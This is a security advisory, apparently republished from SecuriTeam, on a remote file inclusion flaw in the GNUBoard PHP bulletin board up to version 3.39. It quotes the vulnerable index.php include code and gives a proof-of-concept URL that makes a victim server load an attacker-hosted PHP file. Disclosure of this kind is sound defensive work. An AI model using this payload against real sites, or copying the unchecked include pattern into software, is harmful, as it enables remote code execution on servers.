信息来源:
www.securiteam.com
GNUBoard PHP Injection Vulnerability
Summary
GNUBoard is "one of widely used web BBS applications in Korea. Because of an input validation flaw, a malicious attack can run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user".
A vulnerability in GNUBoard allows a remote attacker to cause the program to include arbitrary files.
Details
Vulnerable Systems:
* GNUBoard version 3.39 and prior
Immune Systems:
* GNUBoard version 3.40
Due to improper verification of input value of the parameter, the "doc" parameter in "index.php" can be exploited to include arbitrary files of external or local resources to execute arbitary commands.
Vulnerable code:
In the file index.php, the following code can be seen:
if (!$doc) { (1) <-- check point
$doc = './main.php';
}
// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
{
echo "php php3 htm html phtml ??? ??? ? ????.";
exit;
}
......
ob_start();
include $doc; (2) <-- include point
Proof of concept:
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php
Additional information
The information has been provided by STG Security Advisory